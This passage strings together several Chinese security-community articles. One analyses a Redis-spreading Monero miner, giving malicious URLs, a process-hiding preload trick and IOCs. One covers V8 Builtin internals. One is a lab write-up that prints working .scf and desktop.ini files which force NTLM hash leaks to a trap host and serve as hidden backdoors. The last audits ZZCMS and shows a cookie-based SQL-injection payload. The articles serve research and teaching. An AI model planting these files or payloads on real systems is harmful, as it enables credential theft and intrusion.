IP 地址，生成B段 IP 地址列表，然后扫描这些 IP 地址，若存在 Redis 未授权漏洞，则写入 crontab 任务，内容如下：
站点 `hxxps://pastebin.com/raw/5bjpjvLP`，内容如下：
`hxxps://pastebin.com/raw/Gw7mywhC` 返回的内容和最初分析的恶意脚本内容一致，表明攻击者利用受害者的服务器去感染外网存在
Redis 未授权访问漏洞的服务器。
* system 函数
system 函数从 `hxxps://pastebin.com/raw/KqzUfgz0` 下载脚本命名为 dns，存放于系统 bin
目录下，然后赋予脚本可执行权限，并写入crontab任务。dns 文件内容为
`hxxps://pastebin.com/raw/9DTSBYBt` 返回的内容，解码后发现仅保留了下载挖矿程序和写 crontab 任务功能，删除了
Redis 扫描，卸载安全产品等功能。将 dns 文件存放在服务器上，功能越少越方便隐藏攻击者的入侵手法。
* top 函数
top 函数从 `hxxps://monero.minerxmr.ru/1/1535595427x-1404817712.jpg`
下载恶意程序，主要功能是过滤挖矿进程，过滤进程名为 kworkerds。下载文件命名为 libdns.so，存放在系统 `/usr/local/lib/`
路径下，然后将 `/usr/local/lib/libdns.so` 写入 `/etc/ld.so.preload`，这里是利用 Linux
的动态链接库预加载机制，是一种常用的进程隐藏方法，而系统命令 top 受这个机制影响的。因此在 Linux 上执行 top 命令并不能看到挖矿的进程。
* downloadrunxm 函数
downloadrunxm 下载挖矿配置文件，并根据服务器操作系统位数下载合适的挖矿程序。挖矿程序主要配置信息如下：
矿池地址：
stratum+tcp://x1.minerxmr.ru:56415
钱包地址:
47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA
下载的挖矿程序都经过 UPX 加壳处理，去壳后分析，发现使用了两种不同挖矿程序，一个是基于 `https://github.com/xmrig/xmrig`
源码编译的挖矿程序，版本为 XMRig 2.6.5，另一个是挖矿工具 xmr-stak，github 地址为
`https://github.com/fireice-uk/xmr-stak`，版本为v2.4.7。
### 三、攻击者信息
通过攻击者使用的 pastebin 站点的 URL 进行分析，发现使用的用户名为 SYSTEMTEN, 地址为
`hxxps://pastebin.com/u/SYSTEMTEN`
### 四、安全建议
利用 Redis 未授权访问漏洞读取 Redis 数据库中的数据，可能导致敏感信息泄露；恶意执行 Redis 提供的 flushall
命令清空数据，可能导致数据丢失；执行 Redis 提供的 config
命令进行文件读写操作，可能导致目标服务器被远程控制。为了避免正常业务受影响，云鼎实验室安全运营团队提醒企业务必高度重视，可按下述方式进行防护。
* 禁止外网访问 Redis
修改 redis.conf 文件，绑定本地 IP 或内网 IP，禁止外网访问 Redis
bind 127.0.0.1
* 修改 Redis 默认端口
修改 redis.conf 文件，将默认的6379端口改为其他端口
* Redis添加密码验证
修改 redis.conf 文件，设置 Redis 添加密码验证
requirepass mypassword
* 禁用高危命令
修改 redis.conf 文件，禁用远程修改DB文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
* 低权限运行 Redis 服务
给 Redis 服务创建单独的user和home目录，并且配置禁止登陆，例如：
groupadd -r redis && useradd -r -g redis redis
* 采用腾讯云 Redis 数据库产品
腾讯云 Redis数据库产品默认已进行加固且会由相关团队定期维护，不受该漏洞影响。
### 五、附录
IOCs:
* IP
103.87.9.40 167.99.8.184
* URL
https://pastebin.com/raw/9VbG2qrD
https://pastebin.com/raw/KqzUfgz0
https://pastebin.com/raw/SGM25Vs3
https://pastebin.com/raw/cAfrnxHu
https://pastebin.com/raw/wRrpixP3
https://monero.minerxmr.ru/1/1535595427x-1404817712.jpg
https://monero.minerxmr.ru/1/1537330544x-1404764619.jpg
https://monero.minerxmr.ru/1/1537410304x-1404764882.jpg
https://monero.minerxmr.ru/1/1537410750x-1566657908.jpg
https://monero.minerxmr.ru/2/1535175015x-1404817880.jpg
https://monero.minerxmr.ru/2/1535175343x-1566657675.jpg
https://monero.minerxmr.ru/2/1534496022x-1404764583.jpg
https://monero.minerxmr.ru/2/1537410304x-1404764882.jpg
https://monero.minerxmr.ru/007/008/1534496022x-1404764583.jpg
https://monero.minerxmr.ru/007/1534496022x-1404764583.jpg
https://monero.minerxmr.ru/007/1535595427x-1404817712.jpg
https://2no.co/11Grb
x1.minerxmr.ru:56415
ident.me
* 样本 MD5
59d04962a3934303cd87f640daa725d1
ff7005e420393e3c18b264bdebe231e7
0497a86dc11e773d93deeb728da0f675
5ab9a32f2a864e2533b382b33c640858
e1a725cdb275e8f6140c2b94f0fbe2e8
a29678541358d595d88ab3c9e95ba29b
e6d66c765048e5c1a997276b6c962720
0497a86dc11e773d93deeb728da0f675
b7992c96303f995669ef0d5926c35ec1
39f37cc04b45210cfa44eeec6e1be283
76e7845eca279ab65783f5eb9ad9d8fb
9ed18ce3c758646ead9dcae17fbf9a95
c1e7f16b7de6fe03848a17333c7c49e0
* 矿池地址
stratum+tcp://x1.minerxmr.ru:56415
* 钱包地址
47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA
* * * | 社区文章 |
# 《Chrome V8源码》25.最难啃的骨头——Builtin！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
接下来的几篇文章对Builtin做专题讲解。Builtin实现了V8中大量的核心功能，可见它的重要性。但大多数的Builtin采用CAS和TQ实现，CAS和TQ与汇编类似，这给我们阅读源码带来了不少困难，更难的是无法在V8运行期间调试Builtin，这让学习Builtin愈加困难。因此，本专题将详细讲解Builtin的学习方法和调试方法，希望能起到抛砖引玉的作用。
## 1 摘要
本篇文章是Builtin专题的第一篇，讲解Built-in Functions（Builtin）是什么，以及它的初始化。Built-in
Functions（Builtin）作为V8的内建功能，实现了很多重要功能，例如ignition、bytecode handler、JavaScript
API。因此学会Builtin有助于理解V8的执行逻辑，例如可以看到bytecode是怎么执行的、字符串的substring方法是怎么实现的。本文主要内容介绍Builtin的实现方法（章节2）；Builtin初始化（章节3）。
## 2 Builtin的实现方法
Builtin的实现方法有Platform-dependent assembly
language、C++、JavaScript、CodeStubAssembler和Torque，这五种方式在使用的难易度和性能方面有明显不同。引用官方（v8.dev/docs/torque）内容如下：
**（1）** Platform-dependent assembly language: can be highly efficient, but
need manual ports to all platforms and are difficult to maintain.
**（2）** C++: very similar in style to runtime functions and have access to
V8’s powerful runtime functionality, but usually not suited to performance-sensitive areas.
**（3）** JavaScript: concise and readable code, access to fast intrinsics, but
frequent usage of slow runtime calls, subject to unpredictable performance
through type pollution, and subtle issues around (complicated and non-obvious)
JS semantics. Javascript builtins are deprecated and should not be added
anymore.
**（4）** CodeStubAssembler: provides efficient low-level functionality that is
very close to assembly language while remaining platform-independent and
preserving readability.
**（5）** V8 Torque: is a V8-specific domain-specific language that is
translated to CodeStubAssembler. As such, it extends upon CodeStubAssembler
and offers static typing as well as readable and expressive syntax.
Torque是CodeStubAssembler的改进版，强调在不损失性能的前提下尽量降低使用难度，让Builtin的开发更加容易一些。
图1（来自官方）说明了使用Torque创建Builtin的过程。
首先，开发者编写的file.tq被Torque编译器翻译为 _-tq-csa.cc/.h文件；
其次，_-tq-csa.cc/.h被编译进可执行文件mksnapshot中；
最后，mksnapshot生成snapshot.bin文件，该文件存储Builtin的二进制序列。
**再次强调：** *-tq-csa.cc/.h是由file.tq指导Torque编译器生成的Builtin源码。
V8通过反序列化方式加载snapshot文件时没有符号表，所以调试V8源码时不能看到Torque Builtin源码，CodeStubAssembler
Builtin也存储在snapshot.bin文件中，所以调试时也看不到源码。调试方法请参见mksnapshot，下面讲解我的调试方法。
## 3 Builtin初始化
讲解源码之前先说注意事项，调试方法采用7.9版本和v8_use_snapshot选项，因为新版本不再支持v8_use_snapshot =
false，无法调试Builtin的初始化。v8_use_snapshot =
false会禁用snapshot.bin文件，这就意味着V8启动时会使用C++源码创建和初始化Builtin，而这正是我们想要看的内容。
我认为C++、CodeStubAssembler和Torque三种Builtin最重要，因为ignition、bytecode
handler、Javascript
API等核心功能基本由这三种Builtin实现，下面对这三种Builtin做详细说明。Builtin的初始化入口代码如下：
bool Isolate::InitWithoutSnapshot() { return Init(nullptr, nullptr); }
从`InitWithoutSnapshot()`函数的名字也可看出禁用了snapshot.bin文件，`InitWithoutSnapshot()`函数执行以下代码：
1. bool Isolate::Init(ReadOnlyDeserializer* read_only_deserializer,
2. StartupDeserializer* startup_deserializer) {
3. //..............省略...............
4. bootstrapper_->Initialize(create_heap_objects);
5. if (FLAG_embedded_builtins && create_heap_objects) {
6. builtins_constants_table_builder_ = new BuiltinsConstantsTableBuilder(this);
7. }
8. setup_delegate_->SetupBuiltins(this);
9. if (FLAG_embedded_builtins && create_heap_objects) {
10. builtins_constants_table_builder_->Finalize();
11. delete builtins_constants_table_builder_;
12. builtins_constants_table_builder_ = nullptr;
13. CreateAndSetEmbeddedBlob();
14. }
15.//..............省略...............
16. return true;
17. }
上述第8行代码进入`SetupBuiltins()`，在`SetupBuiltins()`中调用`SetupBuiltinsInternal()`以完成Builtin的初始化。`SetupBuiltinsInternal()`的源码如下：
1. void SetupIsolateDelegate::SetupBuiltinsInternal(Isolate* isolate) {
2. Builtins* builtins = isolate->builtins();
3. //省略...................
4. int index = 0;
5. Code code;
6. #define BUILD_CPP(Name) \
7. code = BuildAdaptor(isolate, index, FUNCTION_ADDR(Builtin_##Name), #Name); \
8. AddBuiltin(builtins, index++, code);
9. #define BUILD_TFJ(Name, Argc, ...) \
10. code = BuildWithCodeStubAssemblerJS( \
11. isolate, index, &Builtins::Generate_##Name, Argc, #Name); \
12. AddBuiltin(builtins, index++, code);
13. #define BUILD_TFC(Name, InterfaceDescriptor) \
14. /* Return size is from the provided CallInterfaceDescriptor. */ \
15. code = BuildWithCodeStubAssemblerCS( \
16. isolate, index, &Builtins::Generate_##Name, \
17. CallDescriptors::InterfaceDescriptor, #Name); \
18. AddBuiltin(builtins, index++, code);
19. #define BUILD_TFS(Name, ...) \
20. /* Return size for generic TF builtins (stub linkage) is always 1. */ \
21. code = \
22. BuildWithCodeStubAssemblerCS(isolate, index, &Builtins::Generate_##Name, \
23. CallDescriptors::Name, #Name); \
24. AddBuiltin(builtins, index++, code);
25. #define BUILD_TFH(Name, InterfaceDescriptor) \
26. /* Return size for IC builtins/handlers is always 1. */ \
27. code = BuildWithCodeStubAssemblerCS( \
28. isolate, index, &Builtins::Generate_##Name, \
29. CallDescriptors::InterfaceDescriptor, #Name); \
30. AddBuiltin(builtins, index++, code);
31. #define BUILD_BCH(Name, OperandScale, Bytecode) \
32. code = GenerateBytecodeHandler(isolate, index, OperandScale, Bytecode); \
33. AddBuiltin(builtins, index++, code);
34. #define BUILD_ASM(Name, InterfaceDescriptor) \
35. code = BuildWithMacroAssembler(isolate, index, Builtins::Generate_##Name, \
36. #Name); \
37. AddBuiltin(builtins, index++, code);
38. BUILTIN_LIST(BUILD_CPP, BUILD_TFJ, BUILD_TFC, BUILD_TFS, BUILD_TFH, BUILD_BCH,
39. BUILD_ASM);
40. //省略...........................
41. }
`SetupBuiltinsInternal()`的三大核心功能解释如下：
**（1）** BUILD_CPP, BUILD_TFJ, BUILD_TFC, BUILD_TFS, BUILD_TFH,
BUILD_BCH和BUILD_ASM从功能上对Builtin做了区分，注释如下：
// CPP: Builtin in C++. Entered via BUILTIN_EXIT frame.
// Args: name
// TFJ: Builtin in Turbofan, with JS linkage (callable as Javascript function).
// Args: name, arguments count, explicit argument names...
// TFS: Builtin in Turbofan, with CodeStub linkage.
// Args: name, explicit argument names...
// TFC: Builtin in Turbofan, with CodeStub linkage and custom descriptor.
// Args: name, interface descriptor
// TFH: Handlers in Turbofan, with CodeStub linkage.
// Args: name, interface descriptor
// BCH: Bytecode Handlers, with bytecode dispatch linkage.
// Args: name, OperandScale, Bytecode
// ASM: Builtin in platform-dependent assembly.
// Args: name, interface descriptor
**（2）** `SetupBuiltinsInternal()`的第38行代码BUILTIN_LIST定义了所有的Builtin,源码如下：
1. #define BUILTIN_LIST(CPP, TFJ, TFC, TFS, TFH, BCH, ASM) \
2. BUILTIN_LIST_BASE(CPP, TFJ, TFC, TFS, TFH, ASM) \
3. BUILTIN_LIST_FROM_TORQUE(CPP, TFJ, TFC, TFS, TFH, ASM) \
4. BUILTIN_LIST_INTL(CPP, TFJ, TFS) \
5. BUILTIN_LIST_BYTECODE_HANDLERS(BCH)
6. //================分隔线=================================
7. #define BUILTIN_LIST_FROM_TORQUE(CPP, TFJ, TFC, TFS, TFH, ASM) \
8. //...............省略............................
9. TFJ(StringPrototypeToString, 0, kReceiver) \
10. TFJ(StringPrototypeValueOf, 0, kReceiver) \
11. TFS(StringToList, kString) \
12. TFJ(StringPrototypeCharAt, 1, kReceiver, kPosition) \
13. TFJ(StringPrototypeCharCodeAt, 1, kReceiver, kPosition) \
14. TFJ(StringPrototypeCodePointAt, 1, kReceiver, kPosition) \
15. TFJ(StringPrototypeConcat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
16. TFJ(StringConstructor, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
17. TFS(StringAddConvertLeft, kLeft, kRight) \
18. TFS(StringAddConvertRight, kLeft, kRight) \
19. TFJ(StringPrototypeEndsWith, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
20. TFS(CreateHTML, kReceiver, kMethodName, kTagName, kAttr, kAttrValue) \
21. TFJ(StringPrototypeAnchor, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
22. TFJ(StringPrototypeBig, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
23. TFJ(StringPrototypeIterator, 0, kReceiver) \
24. TFJ(StringIteratorPrototypeNext, 0, kReceiver) \
25. TFJ(StringPrototypePadStart, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
26. TFJ(StringPrototypePadEnd, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
27. TFS(StringRepeat, kString, kCount) \
28. TFJ(StringPrototypeRepeat, 1, kReceiver, kCount) \
29. TFJ(StringPrototypeSlice, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
30. TFJ(StringPrototypeStartsWith, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
31. TFJ(StringPrototypeSubstring, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
BUILTIN_LIST和BUILTIN_LIST_FROM_TORQUE配合使用可以看到所有的Builtin名字，第9-31行代码可以看到实现字符串方法的Builtin的名字，例如substring的Builtin是StringPrototypeSubstring。
**（3）** BUILD_CPP,
BUILD_TFJ等七个宏和BUILTIN_LIST的共同配合完成所有Builtin的初始化。以`SetupBuiltinsInternal()`的BUILD_CPP为例进一步分析，源码如下：
1. int index = 0;
2. Code code;
3. #define BUILD_CPP(Name) \
4. code = BuildAdaptor(isolate, index, FUNCTION_ADDR(Builtin_##Name), #Name); \
5. AddBuiltin(builtins, index++, code);
//...................分隔线.................
// FUNCTION_ADDR(f) gets the address of a C function f.
#define FUNCTION_ADDR(f) (reinterpret_cast<v8::internal::Address>(f))
index的初始值为0，code是一个基于HeapObject的地址指针，用于保存生成的Builtin地址。`FUNCTION_ADDR(Builtin_##Name)`创建Builtin的地址指针，在`BuildAdaptor()`中完成Builtin的创建时会使用该指针。`BuildAdaptor()`的源码如下：
Code BuildAdaptor(Isolate* isolate, int32_t builtin_index,
Address builtin_address, const char* name) {
HandleScope scope(isolate);
// Canonicalize handles, so that we can share constant pool entries pointing
// to code targets without dereferencing their handles.
CanonicalHandleScope canonical(isolate);
constexpr int kBufferSize = 32 * KB;
byte buffer[kBufferSize];
MacroAssembler masm(isolate, BuiltinAssemblerOptions(isolate, builtin_index),
CodeObjectRequired::kYes,
ExternalAssemblerBuffer(buffer, kBufferSize));
masm.set_builtin_index(builtin_index);
DCHECK(!masm.has_frame());
Builtins::Generate_Adaptor(&masm, builtin_address);
CodeDesc desc;
masm.GetCode(isolate, &desc);
Handle<Code> code = Factory::CodeBuilder(isolate, desc, Code::BUILTIN)
.set_self_reference(masm.CodeObject())
.set_builtin_index(builtin_index)
.Build();
return *code;
}
上述代码中，通过`Generate_Adaptor`和`Factory::CodeBuilder`完成Builtin的创建，code表示Builtin的地址。
返回到`#define BUILD_CPP(Name)`，进入`AddBuiltin`，源码如下：
void SetupIsolateDelegate::AddBuiltin(Builtins* builtins, int index,
Code code) {
DCHECK_EQ(index, code.builtin_index());
builtins->set_builtin(index, code);
}
//..............分隔线.......................
void Builtins::set_builtin(int index, Code builtin) {
isolate_->heap()->set_builtin(index, builtin);
}
//.............分隔线..........................
void Heap::set_builtin(int index, Code builtin) {
DCHECK(Builtins::IsBuiltinId(index));
DCHECK(Internals::HasHeapObjectTag(builtin.ptr()));
// The given builtin may be completely uninitialized thus we cannot check its
// type here.
isolate()->builtins_table()[index] = builtin.ptr();
}
上述代码中，`Builtins::set_builtin()`调用`Heap::set_builtin()`把Builtin存储到`isolate()->builtins_table()`中。`builtin_table`是`V8_INLINE
Address*`类型的数组，`index`是数组下标，该数组存储了所有的Builtin。至此，Builtin初始化完成，图2是函数调用堆栈。
Buitlin的调试方法总结如下：
**（1）** 把BUILTIN_LIST宏展开，得到每个Builtin的编号index。可以借助VS2019的预处理来展开宏。
**（2）** 使用index设置条件断点，图3展示了跟踪12号Builtin的方法。
在Builtin的源码下断点是最简单直接的方法，如果你不知道Builtin是用哪种方式实现的（如`BUILD_CPP`或`BUILD_TFS`），那就在每个方法中都设置条件断点。图4中是在Substring源码中下的断点。
**技术总结**
**（1）** 调试Bultin时要使用7.x版的V8,高版本中已经没有v8_use_snapshot了；
**（2）** 编译V8时需要设置v8_optimized_debug = false，关闭compiler optimizations；
**（3）** 因为builtin_index是int32_t，设置条件断点时要用使用(int)builtin_index。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 0x00 前言
本篇文章是基于w师傅[利用图标文件获取连接文件服务器的NTLMv2 Hash](https://xz.aliyun.com/t/1977
"利用图标文件获取连接文件服务器的NTLMv2 Hash")文章，整理的一篇分类更加详细更加细致的总结！
在我上篇文章《监听445端口抓v2数据》中其实有一个问题不知道大家也没有注意？
我们只需要抓取445端口的相关认证信息即可，但是这里有一个问题。就是之前认证成功的用户再来访问我们的时候是不会再次认证的，所以我们获取不了。
我遇到的情况中很多都是这样的，人家已经可以访问我了，这个时候是不能获取不到认证的NTLM v1\v2 Hash的！这时候就需要使用其他方法来获取了！
通过抓取自己445端口能够获取未认证用户的v1\v2 Hash，但是想要获取已经能够登录SMB服务账户的NTLM v1\v2
Hash，需要我们再任意获取一台win2012 win7以上的机器，使用445的方法再去监听端口！或者一台PY版本2.7.1
以上的linux。而让客户端用户访问另一台未认证机器的过程就是下面所介绍的！
# 0x01 简介
接下来主要介绍这些内容：
* 添加scf文件强制用户访问伪造的文件服务器
* 修改文件夹图标强制用户访问伪造的文件服务器
在这里测试如上的所有方法，读者可以根据自己的情况来选择使用哪种方式进行攻击！
# 0x02 scf文件简介
scf文件是"WINDOWS资源管理器命令"文件，是一种可执行文件。里面存在一个lconFile属性，可以填写UNC路径。利用这一点可以重定向配合我们的攻击，原作者文章中原理部分已经很清楚了，就是使用文档管理器访问会执行这个.scf文件。
因原作者只实验了我思路中的一种，所以我在这里根据我的思路弄一个完整的！
# 0x03 增加scf文件强制访问用户访问伪造的文件服务器
**测试环境：**
**已控”文件”服务器IP** ：192.168.20.3 2008
**陷阱服务器IP** ：192.168.20.141 win7 数据查看方式使用wireshark，实验过程用win自带抓包过于麻烦
**客户端IP** ：192.168.20.2 2012 已经能够直接登录“文件”服务器
**实验目的：**
通过让客户端访问“文件”服务器，从而强制让它访问陷阱机器来获取NTLM v2\v1的认证数据！
**实验方法：**
让客户端访问已控制文件服务器，随后用scf文件进行重定向到陷阱服务器
**实验过程：**
在“文件”服务器(192.168.20.3)上放入test.scf，文件内容如下。192.168.20.141为陷阱服务器IP
[Shell]
Command=2
IconFile=\\192.168.20.141\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
已在共享文档里放入了这个文件
192.168.20.141为我们的陷阱服务器,打开wireshark进行监听(真实环境就是使用netsh中的trace功能来实现)
让我们的客户端(192.168.20.2)访问"文件"服务器(192.168.20.3)
可以在陷阱服务器上看到了来自客户端的请求认证信息！
这样就可以成功获取认证用户的NTLM v1\v2 Hash了!
# 0x04 增加scf文件强制访问未知目标
在这里脑子活络的朋友肯定已经想到能否使用SMB欺骗呢？这里也是可以的，这样的方式无法解析，从而广播让我们监听欺骗到!让我们来试验一下！
**测试环境：**
欺骗机器用linux : 192.168.20.131 Kali代替
已控”文件”服务器IP：192.168.20.3 2008
客户端IP：192.168.20.2 2012
**实验目的：**
通过让客户端访问“文件”服务器，从而强制让它访问不存在目标，从而进行广播被我们NTLM欺骗抓到NTLM v1\v2 HASH！
**实验方法：**
让客户端访问已控制文件服务器，随后用scf文件进行重定向到不存在的目标，如:asdasdasd
**实验过程：**
**已控”文件”服务器** 上已经放置test.scf文件，其中内容修改成如下信息
[Shell]
Command=2
IconFile=\\asdasdasd\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
**欺骗机器Kali** 上先开启监听
客户端访问"文件"服务器
这时候你就能在Kali的服务器上获取到NTLM v1\v2 Hash了！
# 0x05 增加scf文件当作本机后门
那是否可以设置成单独的后门呢？如拿下了A机器，使用如上2种方法去设置。当用户打开本机文件夹时我们能否收到呢？
**测试环境：**
（1）测试SMB欺骗
**欺骗机器用linux** : 192.168.20.131 Kali代替
**客户端IP** ：192.168.20.2 2012
（2）测试固定IP
**陷阱服务器IP** ：192.168.20.141 win7
**客户端IP** ：192.168.20.2 2012
**实验目的：**
探究scf文件是否可做本机后门，当用户打开后能否执行？
**实验方法：**
让本机去访问存在scf文件的目录，随后进行重定向查看是否能够顺利执行！
**实验过程：**
（1）测试SMB欺骗
在客户端(192.168.20.2)C盘根目录下存在T目录，并将它设置为共享目录！
在T目录下放置之前的test.scf，文件内容如下：
[Shell]
Command=2
IconFile=\\asdasdasd\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
打开Kali进行SMB欺骗
这个时候我们再次访问这个文件夹
会发现kali上的SMB欺骗也成功了！
（2）测试固定IP
在客户端(192.168.20.2)C盘根目录下存在T目录，并将它设置为共享目录！
在T目录下放置之前的test.scf，文件内容中的192.168.20.141为陷阱服务器。代码如下：
[Shell]
Command=2
IconFile=\\192.168.20.141\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
在陷阱服务器上使用wireshark进行监听后，我们进如此共享文件夹可以在看到已经看到认证信息了！
那么当scf文件不放在共享目录下是否可以呢？在这里创一个Q文件夹，里面放上test_2.scf。内容如下
[Shell]
Command=2
IconFile=\\192.168.20.141\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
这时候陷阱服务器再次进行端口抓包
让我们来访问一下当前文件夹！这时候再去查看是否有记录，可以看到这样也是可以的！
这时候再来测试SMB欺骗，test_2.scf文件中的IP改为asdasdasd
[Shell]
Command=2
IconFile=\\asdasdasd\SYS\test.ico
[Taskbar]
Command=ToggleDesktop
这时候Kali开启监听，并且让我们访问下看看是否有货，可以看到这样也是可以的！
# 0x06 scf文件总结
经过笔者的测试，只要文件夹中存在.scf文件就可以让它重定向配合我们的攻击。其实原作者的文章中说了，打开某一文件夹就可以执行。但是我不信，我偏要测试下。
在这里scf的用处我们已经很清楚了，不管是做后门还是让它从文件服务器上重定向到陷阱服务器这都是可以的！
# 0x07 修改文件夹图标简介
这方法主要是啥呢，我先跟大家唠唠。我们的文件夹图标都是可以修改的，这里大家都知道。但是呢，在修改完之后当前文件夹下会存在一个隐藏的文件
desktop.ini。当我们没有更改图标时没有的，且因为看不到。所以需要使用如下命令来编辑
explorer .\desktop.ini
在实验之前先跟大家说一个bug，就是如果你使用如下命令去修改的话
explorer desktop.ini
那么你修改的不是当前路径下的desktop.ini，是不会有任何触发的！
在00x7当中我说过更改完图标之后才会在文档目录下出现desktop.ini，这时候如果我没有修改图标直接修改会是什么样子呢？
explorer .\desktop.ini
这时候会直接跳出文档目录，代表着没有修改图标则当前目录下不存在desktop.ini
这时候让我修改一下图标
编辑文件发现跳出了文件
explorer .\desktop.ini
这个时候就可以将IconResource替换成未知目标或者陷阱服务器IP进行scf中的测试！
IconResource=\\asdasdasd\test\SHELL32.dll,3
# 0x08 修改文件夹图标强制访问(后门篇)
**测试环境：**
（1） **测试SMB欺骗**
**欺骗机器用linux** : 192.168.20.131 Kali代替
**客户端IP** ：192.168.20.2 2012
（2） **测试固定IP**
**陷阱服务器IP** ：192.168.20.141 win7
**客户端IP** ：192.168.20.2 2012
在"文件"服务器上修改尝试获取认证过的NTLM v1\v2 HASH
**测试过程：**
**（1）测试SMB欺骗**
**欺骗机器用linux** : 192.168.20.131 Kali代替
**客户端IP** ：192.168.20.2 2012
首先在客户端C盘目录下创建文件夹T，在T中创建文件夹TT，在TT中创建TTT
随机设置一个TTT的文件夹图标
这时候使用命令在TTT目录下打开desktop.ini
explorer .\desktop.ini
将里面的IconResource进行修改，因为这里测试的是SMB欺骗。所以随机设置一个，如asdasdasd
IconResource=\\asdasdasd\test\SHELL32.dll,3
保存后再次进如TT文件夹下，让我们看下Kali上是否欺骗成功？
发现欺骗成功，获取到了NTLM v2的信息！
## **在这里我有两个疑问：**
### 1.如果目标服务器修改的目录图标，与默认的差别很大是否会被发现？
首先在这里我在实验时发现了一个很好玩的地方，在上面的实验中当我再次访问TTT时大家可以看截图。他的图标已经变回来了，且也起作用。
在这时候我又去重新做了一遍，但是发现在”短时间“内还是放大镜的样子，且也无法成功！
但是在过了大约2分钟之后图标重新变回原样了，且当图标变回原样后访问成功！
是不是很有趣！
### 2.在desktop.ini文档中已经存在了一个IconResource，我是否可以不修改原来的数据。而在下面增加一个呢？增加了是否会起作用？
还是修改TTT的图标，但是这里在desktop.ini下面增加一行
IconResource=\\asdasdasd\test\SHELL32.dll,3
这个时候去kali里访问查看我们的结果！一开始没有，过了也还是没有，那就证明这是不行的！
**（2）测试固定IP**
其实经过1中的测试，这里很大几率是可以的。即使不实验也可以，它不像scf还有设置共享文件和服务器这种情况。他就是本机单一的后门，处于严谨再次实验！
**陷阱服务器IP** ：192.168.20.141 win7
**客户端IP** ：192.168.20.2 2012
这里简约些吧，设置IP为 192.168.20.141
IconResource=\\192.168.20.141\test\SHELL32.dll,3
客户端再次访问，陷阱服务器提前打开wireshark进行监听。发现是可以的！
这两种跟着我实验完之后我相信大家对它的理解肯定很深了！
在这里还有一个坑，就是我一开始说的编辑时加上.\ 不能使用如下的方法
explorer desktop.ini
不知道这里修改的是什么让我们实验下，先删除实验过的TTT目录。然后在desktop.ini中设置我们的陷阱IP看看！
先将里面的内容备份下后进行修改！
保存后会是什么效果呢？是访问任意文件夹图标都会出发吗?还是当前目录下的？让我们仔细看看！
经过实验。。发现好像并没有什么作用！但是大家也要记住编辑的时候加入.\ 不然就失败了！
# 0x09 修改文件夹图标强制访问(获取认证用户HASH篇)
在这里就测试一个SMB欺骗的吧，太多了写不动了
**（1）测试SMB欺骗**
**欺骗机器用linux** : 192.168.20.131 Kali代替
**已控”文件”服务器IP** ：192.168.20.3 2008
**客户端IP** ：192.168.20.2 2012
首先在"文件"服务器(192.168.20.3)的共享目录中创建文件夹T，在T中创建文件夹TT，在TT中创建TTT。如下
更改TTT的图标且修改文件！
explorer desktop.ini
IconResource=\\asdasdasd\test\SHELL32.dll,3
错误示范！没加.\ 等了好久都不行
正确示范
过了没多久发现图标变回来了，这时候去测试。可以看到我本机访问的已经过来了
使用客户端去访问，可以看到也可以！
# 0x10 利用图标文件获取NTLM v1\v2 Hash 总结
它和scf一样都可以用作后门和获取已认证用户Hash，只不过它更加的隐蔽！
# 0x11 防御思路
* 检查特殊文件.scf和desktop.ini，避免被添加UNC路径
* 无特殊需要，建议防火墙禁止139 445
这是原作者的建议，但我觉得不太行。因为实验过程中大家可以看到我能够编辑任意目录，逐个排查不显示，在大公司中禁止139
445更加不可能了。所以我的建议为改用kerberos来认证！
# 0x12 配置文件重定向获取NTLM v1\2 Hash 总结
在原作者文章中攻击分类是3点，如下所示
* 添加scf文件强制用户访问伪造的文件服务器
* 修改文件夹图标强制用户访问伪造的文件服务器
* 文件夹图标后门
作者在scf中只介绍了访问共享使用，而修改图标则分成了 访问共享和后门两种。而我则是将scf 和 文件图标分别介绍了 "访问共享"
和"后门"！希望读者看完我的文章，且自己实践过后能够够好的吸收！ | 社区文章 |
下面是ZZCMS代码审计的思维导图，此次审计的目的是为了记录学习过程。以及学习怎么进行审计一个过程，如下是代码审计的思维导图。
## 一、sql注入漏洞原理及其分析
现在开始分析zzcms中 产生sql注入的原理以及代码审计的过程
先用seay审计大概过一遍此cms中可能存在的漏洞，然后在admin/ask.php的文件看到这个可能存在漏洞的点，这里的sql语句中$_COOKIE["askbigclassid"]这个参数可控，此时就有一个想法我是不是可以将我所想查询的内容通过构造特殊的sql语句插入到这个变量中，进行自己想查询的东西，这里是不是就完成了一个sql注入攻击。
$sql = "select * from zzcms_askclass where parentid=" . $_COOKIE["askbigclassid"] . " order by xuhao asc";
$sql = "select * from zzcms_askclass where parentid=-1 union select 1,2,3,4,5,6,7,8,9,10,11 order by xuhao asc";
因为是白盒测试，这里我们可以先将此查询语句放入数据库中查询看其会返回什么值，因为在日常的sql注入中我们知道sql注入回显的地方可能是返回某一字段，这里首先看一下这个sql语句是查询的是什么东西。以及检测构造后的查询语句是否可以正常查询。
这里成功返回查询成功的值，此时再去测试，因为这里的$_COOKIE["askbigclassid"]参数可控，所以我们这里先去测试之前构造的sql语句看是否可以成功执行。
